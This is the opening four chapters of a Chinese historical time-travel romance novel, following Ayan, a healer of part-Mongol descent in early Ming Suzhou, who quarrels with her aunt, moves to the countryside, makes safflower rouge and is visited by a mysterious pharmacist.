《山海主》
1. 第一章 鞑子
洪武十二年,春风吹遍姑苏城里的草木,平江河边垂柳依依,桃杏斗艳。
平江河南岸不起眼的周家宅子里,寄住在母舅家的表姑娘阿颜身着雪青色春衫坐在花园里的石桌前,领口用极细的银线绣着团团梅花,簇拥出一段雪白的脖颈。
她将一柄团扇遮在额头前挡住刺目的阳光,另一只手支在颐下,偏头打量石桌上的一盆红梅花盆景。
盆景由两枝梅花构成,一高一矮,每一截细小的枝条都精神抖擞,其间缀着几点猩红的花朵。
花盆是精美的青花,画着百蝶穿花的图案,泥土上铺着青苔,盆中点缀一块玲珑小巧的太湖石。
“姑娘,这是城南史家大老爷送来的谢礼。”丫鬟白篱打开一札销金的大红色帖子,说道,“史大老爷说,多谢姑娘妙手,他家小少爷的咳嗽已全好了,这几日吃的饭也多。”
“史大老爷知道姑娘是爱花的,托熟人弄了一盆红梅花来,区区一点心意,不成敬意。至于……”白篱眼珠一瞥,顿住不说。
阿颜懒洋洋地直起身,将刺着珍珠梅的团扇抱在胸前,问道:“别的谢礼,又被大舅母贪了去,是吗?”
白篱点点头,细白的手攥成拳头。
大太太杨氏总是这样。自从至正末年改朝换代,周家举家南渡避祸,姑娘和姑奶奶云珍一向寄住在这里。
姑奶奶云珍是当初周老爷认下的义女,在周家还有两个哥哥,大老爷周云铭死得早,现在周家的当家人是二老爷周云钊,主持中馈的是二太太蔺氏。
但守了寡的大太太杨氏平日里一向不甘寂寞,不是挑拣妯娌亏待了她,就是排挤寄住在家的外姓小姑和外甥女儿,若实在闲来无事,便在屋里训斥自己的两个闺女给人听。
“大舅母没眼色,不知道这盆景才是价值连城的,其他的谢礼财物都比不上。”阿颜站起身,慢慢地摇了两下扇子,并不扇出一丝风,“不过,这样的日子我也过腻了,今天我们去找大舅母说说话罢。”
“姑娘……”白篱咬着下唇,露出为难的神情。
当初姑娘和姑奶奶孤身前来投靠娘家,二太太蔺氏见小姑娘孤苦,将身边的小丫鬟白篱给了她。
从那时候起,白篱一来照顾阿颜饮食起居,二来也受了蔺氏的托付,在大太太和表姑娘间调停着些,防着两头撕破脸,亲戚面上不好看。
“不妨事。我昨儿已经同母亲商量好了,母亲一大早就找二舅母说话去了。”
阿颜转过脸,面向白篱,虽才十五岁,但面庞并无稚气,生得眉眼如画,唇上点一抹杏色,是标准的江南温婉美人,只有一双眼睛在阳光下现出琥珀一般的瞳色,难免让初次见到的人心中一悸,猜测起她的身世。
“可是……这……”白篱咬着手指跟在阿颜身后,手足无措。
跟大太太撕破脸以后又如何呢?姑奶奶和姑娘无处可去,还不是要留在周家受气?
杨氏可不是个听劝的人,姑娘一次两次使小性子,便像是小奶猫磨爪子一般,哪里就唬得住她了。
大太太杨氏带着两个女儿住在东边暖阁里头,暖阁小巧,但依着杨氏鸡蛋里也要挑出骨头来的性子,布置可谓精致至极。
门两旁是一对一人高的细腰美人大花瓶,进了门便见一架九曲盘折什锦古董架,上面有的是金玉宝器,瓷瓶木雕,一眼望去,琳琅满目,比当铺还齐全。
两侧墙上挂满名家字画和精致奇巧的双面绣品,将那整幅的青绿山水画同写意的泼墨江山图放在一起,白篱都有些看不过去。
阿颜绕过古董架,挑起水晶帘,便瞧见杨氏歪在螺钿床上,抱着史家才送来的金银绫罗和簪环头面,笑得见眉不见眼。
白篱“噗嗤”笑出声,她记得姑娘说过,杨氏这个模样最像守着财宝的恶龙。
这传说中的恶龙和皇上才能有的龙不一样,是一种长着巨大膜翼,挺着一个肥肚子的怪物,据说生在遥远的西洋。
白篱抬头看看阿颜,托起下巴愣了一下神。
姑娘是前朝才子老爷的女儿,小时候定是看过不少书,因此才知道这么多稀奇的典故。可惜元灭明立,姑娘身上淌着一半蒙古人的血,在这儿总是过得备受欺凌。
阿颜一摔水晶帘,摇着团扇,款款走到杨氏面前,将史家的帖子往榻上一扔,笑道:“大舅母,真不巧,这些东西原是送去我那边的。不知哪个贪玩的小丫头弄混,送错了地方,怕二舅母知道了打她,求我悄悄来取回去呢。”
杨氏自然不吃这一套,猛然瞪圆眼,抄起帖子往地上一掷,金珠宝贝们往一旁一推,一拍小矮几站起来,指着阿颜骂道:“小妮子,打量你自己还是大都城里的千金小姐呢?你住在我们这十几年,吃的用的,一草一纸,哪一件不是我们家的?没有我们,有你今日?不过拿你一点子东西,你倒有这脸皮来讨?!老太爷和二老爷真是瞎了眼,养了你们母女一对儿,都是白眼儿狼!”
白篱站在水晶帘后,拿着帕子按在眼眶下,一言不发。
杨氏根本就是放屁,从前杨氏两个女儿总往她们那儿抢吃的用的,姑娘受了气还不让二太太和姑奶奶知道,最后自己气得病了,十三岁时高烧了好几日,差点没救回来。
病好了的姑娘就变了,亲自给角门外的小厮每人缝香囊,嘱托他们在宅子外搜集大夫治不好的怪病,姑娘听了便写药方让小厮送去。
说也奇怪,姑娘的方子总是灵验得很。这些年的谢礼在被杨氏倾吞无数的情况下,依然供养着她们过得富足安康。
白篱猛地回过神,额头在水晶帘上一磕,脆脆地响。
从前姑娘总说忍让些,何必和那种不讲理的女人吵,可今日——难道是姑娘终于攒满了钱,要在外头买一个院子出去住,因此今日来跟大太太算总账?
阿颜将团扇抱在胸前,静静看着杨氏,冷不丁问道:“您说完了吗?”
“什么……?”杨氏一缩脖子,细细看她,这小外甥女长大了啊,出落得婉丽动人,比她那两个不争气的女儿出息多了,随即又鼻子里哼一声,“不过是个前朝的小杂种,要不是我们家肯收留你,你早就烂成泥化成灰了,还能站这儿跟我置气呢?”
阿颜脸上仍不见喜怒,一双琥珀色的眼眸将杨氏望着。
杨氏被这眼神瞧得心肝直颤,昂起头,翻了个白眼,“你看什么看?越看越像白眼狼。”
“那便不看了。”阿颜蓦地一笑,如冰河乍破,春花甫绽,又问道,“大舅母,你的话,可都说完了没有?”
杨氏被晃得眼一
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花,随口答道:“同你这小杂种有什么好多说的,我一早就说完了。”
“啊,这样的话,我就不客气了。”阿颜垂下握着团扇的手,将帕子揣在襟口,抬起一只白净的手,向杨氏笑了笑。
这只手生得很美,瘦长的手指末端是去年染了丹蔻的尖指甲,大半颜色已经淡褪了,反射着明亮的阳光。
杨氏正发怔,这只手冷不丁落下来,轻轻脆脆一声响,打在她左边脸颊上,火辣辣地疼。她愣怔之间不及躲闪,另一边脸上也挨了一下。
帘外的白篱张大了嘴,目瞪口呆地看着姑娘伶伶俐俐地扇杨氏巴掌,待回过神来,杨氏早已挨了十余下,一张脸肿得跟猪头一般,脸上还被刮出几条血痕,可见姑娘是下了狠劲的。
正没个主意,二太太蔺氏挽着姑奶奶苏云珍来了,身后跟了四五个丫鬟,见了暖阁里的一幕,也和白篱一般目瞪口呆。
“哎,阿颜你这孩子,怎么和大嫂打起来了?”苏云珍忙和蔺氏上前劝架。
苏云珍拉开阿颜,蔺氏拉开杨氏。
杨氏被打得懵了,万万不敢相信一向忍气吞声的外甥女竟敢下这般的狠手。
“小蹄子们,还愣着做什么?快拿水盆面巾来。”蔺氏气冲冲地呵斥丫鬟。
杨氏正觉得果然妯娌还是向着自己的,不想蔺氏转向阿颜,握了她一双手,含笑问道:“颜娘动什么气啊?仔细手疼。”
杨氏气得几乎吐血。
蔺氏亲自从丫鬟手里接过湿面巾,给阿颜翻来覆去地擦手,小心翼翼地问道:“颜娘,你真要和云珍妹妹一起,搬到乡下的苏家舅舅那里住去?”
云珍本姓苏,苏家出了个老神医,老神医喜欢孙女云珍,常带在身边,教授她粗浅医术。
二十余年前,周老太爷还在大都为官时,达官显贵的朱家要觅一个医女看顾府中老太太,周老太爷就向苏老神医收养了云珍,将她送到朱家。
苏云珍为人和善,又有周家嫡女的出身,后来朱老爷便娶她为正妻作幌子,暗地里与一个琴娘要好。阿颜也不是苏云珍的孩子,而是那琴娘的孩子。
“是的。”阿颜含笑答话,顺下眉眼,收敛起方才的锋芒,“昨儿已经和苏家舅舅说好了。”
蔺氏唇边的笑容实在撑不起来,抬手摸了摸阿颜的头发丝,叹道:“颜娘,我知道你有自己的主意,我也劝不过来。舅母就不留你了……在外面住,自己小心些。”
“二舅母放心。”阿颜略略一屈膝,温驯答道,“这些年,多累您照料。白篱我还需借一段时日。”
“这是什么话?白篱本就是我送与你的,和我见外什么?”蔺氏叫来白篱,嘱咐两句,拍了拍肩膀,“好好儿跟着姑娘,不要躲懒。”
阿颜挽起苏云珍的胳膊,“娘,我们走。”
“你、你……!站住!”杨氏赤红双眼,指着阿颜气得浑身打颤,“你这个……!”
“我这个什么?”阿颜站定,回头瞥她一眼,“大舅母不敢说,要不要我替你说?”
杨氏胸脯起伏。
阿颜灿烂地笑起来,唇角旁涌现一对梨涡,琥珀色的眼眸盈盈闪亮,“你是不是想说我是鞑子?不错,我本就是关外鞑子,不知中原礼节,不过打你两下,算得什么?”
2. 第二章 故人
周府中药香袅袅,四五个身着葱绿色比甲的丫鬟们从东边的暖阁出来,每人手中捧一个金灿灿的小铜盆,铜盆里满是飘着脓血的污水。
转过游廊,一个丫鬟神神秘秘地道:“哎,你们说说,大太太这是不是遭天谴了?”
为首的大丫鬟眼珠一斜,鼻子里“哼”一声,不搭话。
“可不是呢?”另一个丫鬟接过去,抿着唇,一脸厌恶地看看铜盆里的血水,“大太太这些年贪了表姑娘多少东西?折成银子能比着她打出一个人来。”
她说着用一只手比了比身量,丫头们放下铜盆哄笑起来——谁不知道大太太生得肥胖,打出她这样尺寸的银人可要比别人多费许多银子。
七天前,周家大太太杨氏被外甥女颜姑娘打了十余下嘴巴,一张脸肿得跟猪头似的。
养了整整三天,肿好容易消了,谁知鼻子上又起了一个又红又痒又肿又痛的大疔,刚现出几分人形的脸,再次肿到眼皮儿都睁不开。
又过几日,疔化了脓,每日流出许多脓水来,杨氏疼得了不得,才叫人去请大夫。
大夫来一看,说是先着了火毒,后失于调养,现下已是脸色都灰败了,只怕难治。
“我听老人们说,疔这个东西最难治了,何况大太太还好面子,不肯叫人知道她被表姑娘打了,拖这些日子才请大夫。”大丫鬟把血水一盆一盆倒进大缸,撒上一把石灰,回头点着小丫鬟们的脸蛋,“我有一句话,你们可别跟旁人说去,谁说出去,也同大太太一样,脸上生个疔,烂穿了。”
小丫鬟们乖乖站在廊下,“姐姐你放心,我们再不说给旁人听去。”
“昨日二太太来瞧大太太,我恰在那折烫金的蜀锦屏风后头打盹,她们没看到我。”大丫鬟提着裙子走下台阶,进花圃折了一枝碧桃花簪在鬓上,往身后假山石上靠着,“我模模糊糊便听二太太在那儿说,谁不知道表姑娘于医药上的厉害,她既有法子治好病,定也知道让人生病的法子。表姑娘心里又恨大太太,这个疔保不齐就是姑娘弄出来的。”
小丫鬟们哗然,齐齐往后退了一步。
这么吓人的吗?还有法子让人得疔疮,那怕不是害人的巫术和妖法?
大丫鬟见吓着了她们,忙笑道:“当然,二太太也是猜的,咱们宅子里谁不知道表姑娘心眼好,生了病往她那儿去一遭,病就好了一半,她还给送一包药。往她那儿送些物件,得的赏钱也多,谁不乐意往那屋里去?”
“姐姐说的对啊,前年我小弟惊风,凶险得很,大夫说治不得了,让准备装裹的衣裳,我偷偷躲在园子后门的松根下哭,恰遇上表姑娘路过,她便教我一个法子,回去一试我小弟就活了。”一个头上扎着红绒绳的小丫鬟说着,低头抹了抹眼泪。
丫鬟们面色凝重,话虽如此,但那天表姑娘打大太太,也是有人亲眼看见的,而且她还一口一声地叫自己“鞑子”。
“鞑子”这两个字在周家可是说不得的。
不仅因为周家收留了有着蒙古人血脉的表姑娘,更因为周家老太爷曾是前朝的将军,替蒙古人打过当今皇上。
前朝覆灭,周家小心翼翼地在江南隐居起来,靠做生意和吃老本为生,过得倒也富足,若是嘴里说的话不慎被人听了去,岂不是惹祸上身?
说了几句闲话,天上飘起细雨来,丫鬟们忙七手八脚地把晾在枝桠上的纱布收进来。
游廊另一头传来女孩子们唧唧喳喳的笑声,见栏杆上挂满了长长短短的纱布,开染坊一般,愈加笑得前仰后合。
“笑!笑什么笑?”胳膊上挂着五条纱布的小丫鬟鼓起腮帮,“你们这些小蹄子,明日就该你们当值。”
“哈哈哈,你们再不知道,明儿就不用当值了。”丫鬟笑得直不起腰,从襟口抽出帕子,直擦眼泪,“方才从应天府来了个苏药师,说是苏老神医的弟子,生得好一表人才,有他在啊,大太太的病保管就好了。你们不去看看?才刚进二门呢。”
话音未落,女孩子们将纱布一收,惊飞的雀鸟一般呼啦啦直奔二门,趴在墙角偷看。
二太太蔺氏穿一身秋香色苏绣绸衣,下面崭新的洒金墨绿色马面裙,头上三对金簪,个个顶上镶拇指大的东珠,打扮得似过节一般隆重。
蔺氏身边的大丫鬟打着油纸伞,蔺氏扶着她的肩,一边往里让,一边和气地向门外的人说话,“贤侄慢些走,仔细台阶。我们这儿雨下得多,一到这时节,苔滑的很。”
青石雕的垂花门外,传来一个柔和温雅的声音,“夫人不必多礼,小侄不过一介药师。”
“这位公子的声音真好听。”被挡在后面的小丫头把同伴往一旁推开,挤上前偷偷地看,“声音这么好听,人一定也好看,让我瞧瞧。”
“呀呀呀,进来了,进来了。”
“嘘,别叫那边看见了。”
一柄苍翠的油纸伞面先从有些斑驳的垂花门外斜进来,伞面上绘的是猗猗翠竹,绿意欲滴。
随后进来的是一个身着暗青色长袍的人,伞面斜斜遮下,倾泻而下的细密水帘模糊了脸,只能看清用银线绣着大片花朵的衣襟,胸前竹叶模样的暗纹和腰间鹅黄色宫绦上系着的一串玉饰。
“苏药师,你父亲可还硬朗?”蔺氏侧过头看着身后的青年,含笑问道。
“师父他老人家很好……”青年答了半句,似乎意识到与蔺氏所问南辕北辙。
于是他停住脚步,将伞面斜开一些,露出脸来,过分俊朗的脸有些不像中原人,一双银灰色的眼眸带着柔和的笑意,“婶娘认错人了,我是苏陈,原是师父捡来养大的。婶娘方才以为我是苏芥师兄吗?师兄在药园里忙,抽不出空来。”
蔺氏一怔,“可你……”
蔺氏沉思不语。虽然上次见他时,他不过是个四五岁的小孩子,与现在相貌自有差别。但那一双比阿颜更令人震惊的灰眸她绝不会错认——难道,天下会有这么巧的事情吗?
丫鬟们推开暖阁的门,弯腰打起水晶帘,挂上盘丝的金钩,帘子叮叮当当一阵碎响。
既已进了屋内,蔺氏也不欲在此事上多言,只笑一笑:“你这孩子打小有主意,既这么说,婶子也不多问。且看看你大婶娘吧。”
青年抬步走进去,蔺氏留在帘外,远远看着疼得在榻上直打滚的杨氏。
杨氏的两个女儿在榻边端药递水,见来了个年轻男子,压低了眼,却又忍不住悄悄抬头。
青年看了一会儿,诊过舌脉,走到帘外。
“如何……?”蔺氏面色惴惴。
“不妨事的。”他从袖中掏出两个瓷瓶,“用这个粉末每
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日清水化开搽在创口上,另一个丸药每日用酒服一丸,忌肥甘厚腻,尤其不能碰荤腥,只喝白粥静养,这般过十天半月,也就好了。”
蔺氏接过药,谢了又谢,眼看着他要告辞,面色不由再次一沉,“我有句话,或许冒昧了,但实在不吐不快……据公子看,我妯娌这疔……是自己发的,还是有人……?”
“婶子这话,侄儿倒不解何意。”青年仍然面带微笑,慢慢道,“大婶子人生得肥胖,素来爱吃肥甘,积了一肚子痰火,这些日子怕是着了发不出去的闷气,才长了这火疔。与旁人何干?”
蔺氏闻言一对细眉便舒展开,做出恍然的模样,双手在胸前合十,闭上眼道:“原来这病早有根源。阿弥陀佛,若非公子恰好来此,妯娌这命还悬着呢。”
“师父原是嘱托我来看望云珍婶子,不想婶子搬出去了。”青年向蔺氏作了一揖,“小侄还要往城外去,不多留了。”
蔺氏又千恩万谢地送了他到周宅门外。
青年打着伞走下台阶,雨下得比方才更密,但依然称不上大。雨丝细细,与绣花的丝线一般,从天空中厚厚的雨云斜斜织下,一直落到凹凸不平的青石板上,悄寂无声。
青年并未如他所说急着往城外去,而是沿着垂柳婀娜的平江河一直走,直到河边再无柳树,才停下来,转身看着河面上无数涟漪,握着石栏自言自语:“阿颜……你是在故意躲着我么?”
虎丘山下一个不起眼的小院子里,白篱捧着一个簸箩,将方才还晒在院子里的草药分门别类收好。
阿颜打起竹帘走出来,一身浅紫色的绉纱春衫,挽着袖子,蹲下身与白篱一起整理草药,“北天暗着呢,一会儿我们这儿也要下雨,还是现在就收起来省事,你倒有心。”
“我哪能想到,是云珍姑姑嘱咐我来的。”白篱不好意思地笑着,“姑姑说姑娘忙着看书,怕忘了外头晒草药,叫我先收拾起来。”
“你和母亲都费心了。”阿颜拍拍晒干的蓬松草药,用棉绳一捆捆扎起来,“说起来,府里怎样了?”
白篱顺下眼,迟疑片刻,道:“我听她们说,大太太的病给应天府来的一位苏药师给治好了。”
阿颜拧起眉,“苏药师……?”
“就是云珍姑姑的爷爷苏老神医收的弟子啊。”白篱点点头。
阿颜抬起眼,手肘撑在膝头,一侧面颊支在掌中。
被风不知从哪里吹落的桃杏在眼前纷乱飞过,迷糊中似乎看见一个人遥远的背影,撑着一柄翠竹森森的纸伞走在雨中,蓦地回过头来,冲她一笑,唤她阿颜。
“……要他多管闲事。”阿颜抱着满满一怀药草,霍地站起,走了几步,又回转过来,问白篱,“可有问清楚用的是什么法子治的?”
白篱详尽地说了一遍。
阿颜面色这才舒缓几分,点头道:“这好的也是折磨。”
一摔竹帘,进了屋。
白篱默默端着簸箩,将药拿进堂屋。
姑娘应该在生气吧?
她离开周家那天就说,要让大太太吃些苦头,亲自来求她,指的就是这个病吧?谁知现在被人轻轻易易治好了。
但白篱想着,用这样的伎俩害人总不好,说不定那位治病的药师,也是这么想的,而不是要故意拆台呢。
3. 第三章 红蓝花
稀疏的竹帘外雨声潺潺,檐头的水滴一点一点溅在石阶下,叮咚有声。
阿颜斜倚在竹帘内,一边听着雨声,一边翻检案头一簸箩艳艳的红蓝花。手指在细丝般火红的花瓣间穿梭,拣出最鲜艳的花丝,铺在冷白的瓷盘内。
“妹妹。”一个高大的人影打起竹帘,身披蓑衣,斗笠抱在怀里。
“哥哥回来了。”阿颜起身,指尖掠过瓷盘,拂开几丝花瓣,散落案头。
白篱上前接过蓑衣,收成一束,挂在门外。雨水汇成一束,沥沥地流淌下来。
“苏大哥回来了。”白篱抖去斗笠上的水珠,笑道,“我们姑娘正不高兴呢。”
“谁惹妹妹生气了?”男子取出怀里的包裹,拍拍阿颜的肩,“你要的珍珠壳,我给你买回来了。”
“没人惹我不高兴,哥哥别听白篱瞎说。”阿颜笑着接过包袱,脚尖一点,将包袱踢进长案下面,拉着男子往外走,“我听舅舅说,你爱吃三层玉带糕,正要给你蒸上呢。”
男子不好意思地挠了挠头,“别听我爹胡说,那是他自己爱吃,才不是我……”
阿颜蓦地顿住步子,回头看着他狡黠一笑:“你不爱吃么?”
“不、不是……”男子忙不迭举起双手,慌忙地摇着,“我、我也爱吃的。”
香甜的糕点,哪有人会不爱呢?
阿颜一闪身走进灶房,灶内小火荧荧,水犹是温的。
“你看。”阿颜打开灶台上小巧的竹箩,里面是白净的糯米粉,一旁的两个白瓷碗内,盛着满满的砂糖,和奶白色的猪油。
“东西我都备好了。”阿颜转头向外叫道,“白篱,把那些小匣子拿进来。”
“嗳。”白篱远远应一声,捧着一个盘子,快步进来。
盘子上工工整整垒着三层小木匣,大约一手宽,三寸来长,透着浓郁的杉木气味,底面上刻着各色花朵,四面还有镂空的图案,精巧绝伦。
阿颜将糯米粉过了一遍筛,砂糖也过一遍筛,手一错,变戏法一般从一旁取出一叠桃仁,每一个都白净肥嫩,吹净了细皮。
打碎的桃仁拌进糯米粉,倒进匣子里的最底层,大约三分之二的高度。接着铺上白花花的猪油,最后一层是砂糖,阿颜将十二个匣子铺开,满满地撒上砂糖,最后用小竹刀抹平。
白篱打开茶柜,取出一个竹篾编的蒸架,莲花模样,不用时十二片花瓣收起,合成一朵花苞;用时一提中间的细绳,花瓣一一打开,就成了蒸架。
男子不用吩咐,已一头钻进灶台下,帮着生火烧水。
水雾蒸腾,糖的香甜混着猪油的气味在屋内盘旋。
男子吸了吸鼻子。
这样香甜的糕点,哪有人会不爱呢?这样的仙女儿似的妹妹,又怎会有人不欢喜?何况真真就像是天上掉下来的一般,模样好,性情也好,聪颖能干,真让人恨不得将天上的星星月亮,也摘下来送她。
“哥哥。”阿颜拉着他起身,“已经够了,用余温蒸着就是了。”
她走到另一个灶台前,挪开盖子旁的湿毛巾,揭开锅盖,浓郁的香甜随着水雾扑面而来。
“你看,我早已做过一笼了。”阿颜从蒸架上取出瓷盘,瓷盘上放着一条糕,最下面洁白如瓷,中间一层青白色、半透明,是猪油,最上面的糖粒半化,高低参差,仿佛簇聚而生的水晶,砂糖上面,还星星点点点缀着几颗小巧的桂花。
整块糕点远望去,可不就是一条精致的玉带。
“舅舅和母亲都已经吃过了,剩下的都是你的。”阿颜笑着将盘子推到他的面前,白篱上前来,在盘沿上放了一双乌木箸子,并一柄小巧的银刀。
男子稍显笨拙地用小刀切了一块,放进口中。砂糖的甜,猪油的香,江米的糯,三种绝妙的滋味混在一起,生出千百种不同的回味来。
阿颜和白篱已将另一笼玉带糕取出倒了模,一旁薄薄的刀片切下,切成小段,装进精致的食盒里。
白篱抱着食盒放在男子面前,“这些给苏大哥带回去,热一热分给大伙儿吃。姑娘说,苏大哥在行伍里,总不免伤筋动骨,破皮流血,因此在里面多多加了些桃仁,不仅香甜,还能活血化瘀。”
男子急忙站起来,作了一揖,感动得说不出话来。
他是苏家的二儿子苏晚青,一向在南方边境戍守服役。这次老父写信,说小时候送了人的姑母回家来了,还带回来一个妹妹,叫他回来一趟,一家人难得聚一聚。
他素来不爱父亲偷懒贪馋的人品,不愿回家,不想长官见他戍边多年未回,很是勤勉,难得这次有家书来,不由分说赶了他回家省亲。
回到村中他就吃了一惊,家中原本破落的小屋不见了,取而代之的是一座小巧的黛瓦院子,院子里草木葱茏,就像进了画里达官贵人家的园子一般。
园子里还住着个画上才有的美人。
父亲说,这女孩便是周家的表姑娘,姑母从大都城带回来的官家小姐,生得一双琥珀色的眼眸,据说生母曾是蒙古人的公主。
他战战兢兢地远远望上一眼,那女孩子和侍女在院子里翻检花花草草,文静得很。
父亲和姑母都叫她的小字“阿颜”,据说是因为幼时批命不佳,须得要贵人取名才能压得住,故而一直未取。他不好唤姑娘家的小名儿,就只叫她妹妹。
这个从天上掉下来的妹妹很有钱——这也是听父亲说的。
屋子是她请人来修的,屋里的家具、摆设,虽不多,但拾掇得华美大气。还有她平日吃穿用度,从不需多,但每一件都是最精致的。
据说都是给人看病赚来的银子。
在家里住了这些天,阿颜的确也托他在镇上或是城里打听,有没有人家生了治不好的怪病。
苏晚青一拍脑袋,可把这件事给忘了!
“妹妹,你早先托我的事情……”他才说了半句,阿颜便掇张条凳,在他对面坐了,认真地看着他,眼中盈盈闪动。
“咳,或许也不是什么怪病,但总之有些难好。”苏晚青咽下一块玉带糕,放下盘盏,正色道,“我方才去药铺里买珍珠壳,正巧听见铺子里的伙计们说,他们东家的少奶奶,头胎双生,一死一弱,这月子已坐了两个月,只是体弱下不得床。”
阿颜点点头,没说话。
“你看……”苏晚青不明所以,讪讪看了看白篱,又道,“妹妹,这可使得?”
“嗯,多谢哥哥了。”阿颜站起来,郑重作了一礼,“哥哥明日就要回去了,我给你包了些伤药,在你屋里的桌上放着,别忘了。”
傍晚,行雨初歇。
白篱将冬天用的火盆搬到院子里,生起火。
敲碎了的珍珠壳放进火中,烧得通红,不时传来“劈剥”炸开的声响。
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阿颜面前的案上放着一个大海碗,火红的红蓝花泡在里面,捣了几下,溢出明黄色的汁液。
多余的花瓣装了满满一箩,阿颜拣去其中枯萎的花丝,揭开一坛酒的红泥封口,将拣好的红蓝花倒进酒中,轻轻拌几下,依然封好。
“白篱,明日你去镇上那个药铺,就说那位少奶奶的病,我能治。”阿颜将酒坛子推进书案下,“只是,需等一些日子。”
“嗳,白篱都记住了。”白篱应下,捧着一大堆烧过的珍珠壳进来。
灰白色的珍珠壳在火中裂成了细小的碎片。
阿颜将珍珠壳倾入大陶缸内,倒入一瓢水,珍珠壳仿佛沸腾一般,泛起大大小小的气泡,陶缸也变得炽热起来。
白篱拿来米醋,依照阿颜的吩咐,将用水浸泡过的红蓝花倒进去,一遍一遍揉搓冲洗,直到洗出的汁液变成亮丽的红色。
等陶缸又冷下来,阿颜滤掉渣滓,把清亮的水混进红蓝花中,反复舂捣,最后用三层的纱布滤过,留下一缸彤红的花汁。
“放在这儿澄一澄,一会儿上锅蒸。”阿颜伸了个懒腰,慢腾腾地站起身,绕过屏风后。
屏风后的绣榻掩在幽深的青色纱帐里,妆台上的一盏灯亮了,橘黄色的火光透过薄薄的灯罩漏出来,灯罩上画了一朵栩栩如生的鸢尾花。
这是她回到这里以后,第五次用红蓝花做胭脂了。
时间于她来说是一个首尾相接的连环,她在其中循环往复地穿行。
她一次又一次从这里离开,去到几百年后的世界,又从那里回来,完成那些未竟的心愿。
这一次旅行已开始五年之久,这五年间,她一向住在周宅,等候与她同行的老师的消息。
可消息终于来了,却不是她想要的,所以她与杨氏大闹一场,离开周宅,希冀能躲过来寻她的人。
她打算独自行动,她不想错过这次的机会——当过去与将来的时间终于合并到一条线上时,她相信很多事会有不同的结果。
“洪武十二年。”阿颜将手在妆台上摊开,静静看着自己手上的纹路出神。
这一次回来时,她十三岁,寄居在毫无血缘关系的舅舅家中,母亲苏云珍告诉她,她的父亲是元庭旧臣,携着不少机密文书隐匿在姑苏,不能与她们相见。
而她们,也随时会被朝廷查到,引来灾祸。
妆台上的一双手紧紧攥成拳头,在摇曳的火光下,柔软的皮肤似乎变得坚硬,仿佛白瓷或是汉白玉一类的东西,容易破碎。
“这一次,一定可以的。”阿颜深深呼出一口气,“我可以做到……我可以救下她们,每一个。”
“姑娘。”白篱打起竹帘,捧着红漆的食盘进来,有着繁复角花的盘子上,放着一盅茉莉香片,一叠糕点,和一碗深红色的厚膏子。
“这是姑娘最爱的桂花豆沙方糕,我才蒸的,姑娘快趁热吃。”白篱跪坐下来,将糕点和茶摆在案上,“红蓝花的膏子也蒸好了,不需姑娘动手,白篱也会。”
白篱打开妆台的小屉,取出一叠绵纱纸,叠成小块,用极短的银筷子夹着,浸在花膏里。
浸了数十张,白篱拿出几个扁扁的青花圆瓷盒,将绵丝纸叠好放在里面,倒入剩下的花膏。
“只等晾凉就好了。”白篱将这些挪到外间,挂起纱帐整理铺面,“天气不好,外面又下起雨了,姑娘早些休息吧。”
4. 第四章 雨夜
夜色沉沉,细雨的声响在耳边缭绕不去。
阿颜一梦醒来,正值中夜,极淡的天光从竹帘的缝隙里透进来,在她的手心留下一行行摇动的光影。
“白篱……”
她欠起身,拥着绣花被面出了片刻神,又唤一声。
“白篱!”
本该睡在外间的白篱不知去了何处,纱幔影下,一支短蜡的火光摇摇欲坠。
“姑娘,我来了。”白篱远远应了一声,却是衣衫齐整,从长廊外进来的。
白篱侧身撩起曳地的幔子,捧着一碗清水,“姑娘叫我很久了?”
“不曾,我才醒。”阿颜呷了几口水,皱起眉,按一按略有些胀痛的额角,放下不再饮,问道,“外面怎么了?”
“方才有人叩门,我和舅老爷去应门,是个借宿的旅人,不想把姑娘吵醒了。”白篱低头,“这样的雨里,赶路也不易。”
她家姑娘要强,平日心思重,晚上常常噩梦缠身,睡不好,这会儿还被吵醒,明日早起定又嚷着头痛。
阿颜慢慢转过头,撩起窗前放下的竹帘,从一角望向庭院。
不大的庭院内雨声淅沥,天色将明,远处现出一点暗淡的黄色,勾勒出庭院里飞翘的屋檐、团团的树影,花尚未绽放,圆润饱满的花苞被雨点击打,在夜色里划出一道参差起伏的剪影。
“……这样天色,还有人行路?”阿颜伏在膝头,闭目思忖。
洪武十二年……发生过哪些事呢?
她捶着额角……头痛,记不清。史实如此庞杂,而且她带着太多太多的记忆,在细想时总是混乱无比,甚至分不清此世彼世,真实虚假。
她过去一心钻研时间旅行与医术,于历史倒没有多少研究,只依稀知道,洪武初年,元帝远遁关外,号为北元;云南有梁王拒绝招降,年年向北元执臣节如故,甚而骚扰边界。
她那位表兄苏晚青,便在临近云南的地方戍边。
明初并不太平,她咀嚼着从记忆里翻检出的信息。当然,洪武末年也不太平,不过那些事还很远,如果她此行顺利,可以赶在洪武末年的混乱之前离开。
阿颜抬起头,重又想起那个疑问,雨早在傍晚时分便下了起来,这样的夜里,怎会还有人行路借宿呢?
难道是苏云珍口中那些散落各地探访元末遗族的锦衣卫——不,确切来说,现在仍被称作拱卫司或是都护府的官员?
“白篱……”阿颜伏在膝头,困得不想睁开眼,慢悠悠地道,“你去……问一问……”
耳畔有打起帘子的声音。
香炉被谁一动,在潮湿的夜里溅起脆脆一声响。
香无声地燃起来,腾起盘旋的烟,随着微潮的风晕开,是整个身心都熟悉的味道。
阿颜含含糊糊地询问:“……谁?”
“是我。”熟悉的声音由远及近,一直来到身边。
“嗯……”阿颜半梦半醒,头也不抬地顺口应下,“是你啊……你回来了?”
“对。”那个熟悉的男声在耳畔清晰地与她对答,如水泛涟漪,一圈一圈在心头漾开,“我回来了。你也回来了。”
阿颜抵不过困意,身子一倾,落入那人臂弯。
“阿颜,还躲着我么?”男子稳稳揽住她的腰身,拂开她的长发,指尖轻点在她眉间,喃喃自语,“分明传信给你,却还是如此任意而行。”
阿颜睡得渐沉,半蜷的手从他衣袖旁滑落。
他将她的手掖进被中,挽起衣袖,轻按在她额角。
阿颜睡梦中察觉到额角一重,蹙起眉,挣了一下,手没能从被中探出。
温柔的手掌按在她的额角轻推,缠了半夜的头痛正渐渐散去。
男子又拿起一旁矮几上的药碗,将她扶起一些,慢慢灌药。
她怕苦,梦中也紧皱着眉,黛色的眉蹙起。
男子低声自语:“阿颜,还是这么不爱喝药啊。”
他知道的,她会些医术,但自己不爱喝药,每每嫌苦偷偷倒掉,因此落下一身缠绵的病,总也不好。
将她极轻地放回床榻上,掖上被角,生怕再吵醒她。
外间雨声渐歇,天色愈亮。
浮动的光线中,青灰色的被面清晰起来,男子的目光落在那一角重叠繁复的绣花上。
